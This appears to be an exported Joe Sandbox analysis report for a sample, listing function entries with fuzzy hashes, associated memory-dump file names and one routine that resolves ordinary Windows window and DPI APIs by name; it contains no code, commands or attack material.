Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af31e1f1f3af0c59ae605d95709420b09005b12c0836c713be4e0ec0b73059bf
Instruction ID: 3e8bb88f0607012bbe75c53665c61231bebda5921d874e50dba3980e1786c12f
Opcode Fuzzy Hash: af31e1f1f3af0c59ae605d95709420b09005b12c0836c713be4e0ec0b73059bf
Instruction Fuzzy Hash: 5C613AF3B082105FF308AA3DDC5977AB7D6DB94310F1B463DDA89D7784E93958058292

Function 009A7FFB Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0917aa4389b31305abe1783531a7e1647e495db42d36fc3b43db83e08c8d22
Instruction ID: 38865ef0621ef742f7e8e05ee6dd6bed1e928ca89d1c7950ddfb7ef0d725cb45
Opcode Fuzzy Hash: 6f0917aa4389b31305abe1783531a7e1647e495db42d36fc3b43db83e08c8d22
Instruction Fuzzy Hash: 437169F250C610EFE300AF19D8816AAFBE4FF94710F164D2DEAC187600EA795895DB97

Function 0083BC8B Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fea30f91703ce297dde0de7d8ddd260051e65958d20b8aa615961073841f05f
Instruction ID: 19dd98b04d4b1a68f8a385e075b89c1a5a4af49495d62bf9e011475f2977b88f
Opcode Fuzzy Hash: 4fea30f91703ce297dde0de7d8ddd260051e65958d20b8aa615961073841f05f
Instruction Fuzzy Hash: 6D511BB3619214AFE3046E2DED84A7BFBD9EBC4720F56893EE5C4C3744D9315C048692

Function 00885DD9 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f8a25a45a0efee84f464f099b896581c5a86b87eea6e6057db8d8363868961
Instruction ID: bd6b4f12b2380529e485c1e9066a97ca8b246defa9cdbdae00398220a8fbbee4
Opcode Fuzzy Hash: f5f8a25a45a0efee84f464f099b896581c5a86b87eea6e6057db8d8363868961
Instruction Fuzzy Hash: FA5113F3E085109BF3146E29EC4477AB6D6AFE4320F1B853DDBC897384E97958058686

Function 009C626E Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea417e7ffc6698bafe6960862d8032142beeecd39eb0374f33152484ad4cdaa
Instruction ID: 71249fdf8e07b98acef9ef9c59a8f6829553f74209a17e1dff010b51a2120af6
Opcode Fuzzy Hash: 9ea417e7ffc6698bafe6960862d8032142beeecd39eb0374f33152484ad4cdaa
Instruction Fuzzy Hash: AC5127F390C708DFD3046A29DC85A3ABBE5EB94300F654D3DDAD283310F939A4159657

Function 007E3D8E Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7ca5b8fd295f2bd88bef7296183483b0e9fa832ee6d5aa25460ded8ed754a7
Instruction ID: 6773773f1827d85ba091fc5e962765f0a7e50fd856ef2ab7f12e3d598c0a193e
Opcode Fuzzy Hash: cc7ca5b8fd295f2bd88bef7296183483b0e9fa832ee6d5aa25460ded8ed754a7
Instruction Fuzzy Hash: 0D5197F3A192046BF3085969EC8577677CADBD1720F2A813EEA51933C0FA7D98024296

Function 008DB600 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb03e34ff140c76da8f60d91b91ef64c3cb1bd56fdea76b8792e0be7cccaa7a
Instruction ID: 445604b7bc5212be31748a9e30c6b779b1fc5fb52ff4c83a6ba72f35fcd2dec3
Opcode Fuzzy Hash: bdb03e34ff140c76da8f60d91b91ef64c3cb1bd56fdea76b8792e0be7cccaa7a
Instruction Fuzzy Hash: 7C41F5B3E042205BE314AA2DDC4977ABBD9DB54760F1B463DEFC8A3780E9791D0182C6

Function 008AB93C Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7115ee50bef93cecbf56babe3a2d49a9b7c93e26d8c85035a04a23005d01aa77
Instruction ID: 6c8ebc3372cec179327c6e74352496df3bf5f632deb6e2a54edad977ee0a8f7a
Opcode Fuzzy Hash: 7115ee50bef93cecbf56babe3a2d49a9b7c93e26d8c85035a04a23005d01aa77
Instruction Fuzzy Hash: 2B4189F3A082088BE3149D7DECD5736F6CAEBD4710F1A463D9A86C3B84EC7999064152

Function 00579750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CAE55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CABE1A5), ref: 6CAE5606
LoadLibraryW.KERNEL32(gdi32,?,6CABE1A5), ref: 6CAE560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAE5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAE563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAE566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAE567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAE5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAE56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAE56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAE56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAE56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAE5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAE572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAE5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAE5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAE577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAE5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAE57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAE57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAE57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAE57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAE57FF

Strings

RegisterClassW, xrefs: 6CAE56AC
CreateSolidBrush, xrefs: 6CAE57E4
FillRect, xrefs: 6CAE5729
GetWindowDC, xrefs: 6CAE5710
ReleaseDC, xrefs: 6CAE5742
SetWindowPos, xrefs: 6CAE56F7
LoadCursorW, xrefs: 6CAE5774
SetWindowLongPtrW, xrefs: 6CAE57B7
StretchDIBits, xrefs: 6CAE57CC
GetMonitorInfoW, xrefs: 6CAE57A2
ShowWindow, xrefs: 6CAE56DE
CreateWindowExW, xrefs: 6CAE56C5
EnableNonClientDpiScaling, xrefs: 6CAE5666
MonitorFromWindow, xrefs: 6CAE578D
GetDpiForWindow, xrefs: 6CAE5690
GetSystemMetricsForDpi, xrefs: 6CAE5677
GetThreadDpiAwarenessContext, xrefs: 6CAE562D
AreDpiAwarenessContextsEqual, xrefs: 6CAE5637
user32, xrefs: 6CAE5601
LoadIconW, xrefs: 6CAE575B
gdi32, xrefs: 6CAE560A
DeleteObject, xrefs: 6CAE57F9

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
